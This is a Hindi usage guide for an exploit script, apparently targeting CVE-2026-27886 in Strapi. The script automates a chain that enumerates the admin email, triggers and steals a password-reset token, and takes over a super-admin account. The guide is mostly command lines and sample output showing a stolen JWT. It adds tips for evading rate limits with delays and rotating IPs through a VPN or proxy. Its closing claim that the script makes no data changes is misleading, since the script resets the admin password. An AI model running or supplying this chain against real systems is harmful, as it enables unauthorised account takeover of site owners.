CVE-2026-27886 स्वचालित शोषण - उपयोग गाइड

यह स्क्रिप्ट क्या करती है

4 HTTP अनुरोध समूहों में पूर्ण खाता अधिग्रहण श्रृंखला को स्वचालित करती है:

1. भेद्यता सत्यापन - पुष्टि करता है कि लक्ष्य भेद्य है
2. ईमेल गणना - बूलियन ओरेकल के माध्यम से व्यवस्थापक ईमेल निकालता है (~500 अनुरोध)
3. पासवर्ड रीसेट ट्रिगर - Strapi की पासवर्ड पुनर्प्राप्ति प्रक्रिया आरंभ करता है
4. टोकन अपहरण - 40-अक्षर का रीसेट टोकन चुराता है (~320 अनुरोध)
5. खाता अधिग्रहण - सुपर एडमिन JWT प्राप्त करने के लिए चुराए गए टोकन का उपयोग करता है

मूल उपयोग

केवल-सत्यापन मोड (सुरक्षित)

शोषण किए बिना जाँचें कि लक्ष्य भेद्य है या नहीं:

./cve-2026-27886-exploit.py https://target/api/articles --verify-only

पूर्ण शोषण (सबसे तेज़)

यदि आप व्यवस्थापक ईमेल नहीं जानते हैं तो सब कुछ स्वचालित करें:

./cve-2026-27886-exploit.py https://target/api/articles

आउटपुट:

[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
    [+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
    [email protected]
[*] Triggering password reset for [email protected]...
    [+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
    [100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
    [+] Password reset successful!
    [+] JWT: eyJhbGciOiJIUzI1NiIs...
    [+] User: [email protected] (ID: 1)

[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

ईमेल गणना छोड़ें (तेज़)

यदि आप पहले से व्यवस्थापक ईमेल जानते हैं (~500 अनुरोध बचाता है):

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected]

कस्टम पासवर्ड

डिफ़ॉल्ट के बजाय कस्टम पासवर्ड सेट करें:

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected] \
  --password "MyPassword123!"

विलंब जोड़ें (दर सीमा से बचें)

यदि लक्ष्य में दर सीमा है:

./cve-2026-27886-exploit.py https://target/api/articles \
  --delay 0.1

यह प्रत्येक अनुरोध के बीच 100ms जोड़ता है (पूर्ण शोषण के लिए ~2-3 मिनट)।

स्पष्ट बेस URL

यदि /admin/* एंडपॉइंट किसी भिन्न होस्ट पर हैं:

./cve-2026-27886-exploit.py https://api.target/articles \
  --base-url https://admin.target

सामान्य समस्याएँ

"गैर-JSON प्रतिक्रिया"

• गलत एंडपॉइंट (Strapi Content API संग्रह नहीं)
• आज़माएँ: https://target/api/products, https://target/api/articles, आदि।

"ईमेल गणना विफल"

• संग्रह खाली है (कोई updated_by_id विदेशी कुंजी नहीं)
• व्यवस्थापक भूमिका डेटाबेस में किसी से मेल नहीं खाती
• यदि कई एंडपॉइंट मौजूद हैं तो भिन्न एंडपॉइंट आज़माएँ

"रीसेट टोकन निकालने में विफल"

• पासवर्ड रीसेट ट्रिगर नहीं हुआ
• अनुमानित व्यवस्थापक ईमेल से भिन्न ईमेल
• टोकन समाप्त हो गया (फिर से प्रयास करें, यह डिफ़ॉल्ट रूप से ~24 घंटे तक रहता है)

दर-सीमित होना

• --delay 0.05 या अधिक जोड़ें
• या IP पते घुमाने के लिए VPN/प्रॉक्सी का उपयोग करें

सुरक्षा नोट्स

यह स्क्रिप्ट:

• ✅ केवल GET/POST अनुरोध करती है (कोई डेटा संशोधन नहीं)
• ✅ केवल भेद्य Strapi क्वेरी पैरामीटर बाईपास को लक्षित करती है
• ✅ Strapi के वैध पासवर्ड रीसेट एंडपॉइंट का उपयोग करती है
• ✅ लक्ष्य पर कोई संग्रहीत कलाकृतियाँ नहीं छोड़ती
• ⚠️ शोरगुल वाली है - क्रम में 800+ अनुरोध करती है (लॉग में स्पष्ट रूप से दिखाई देता है)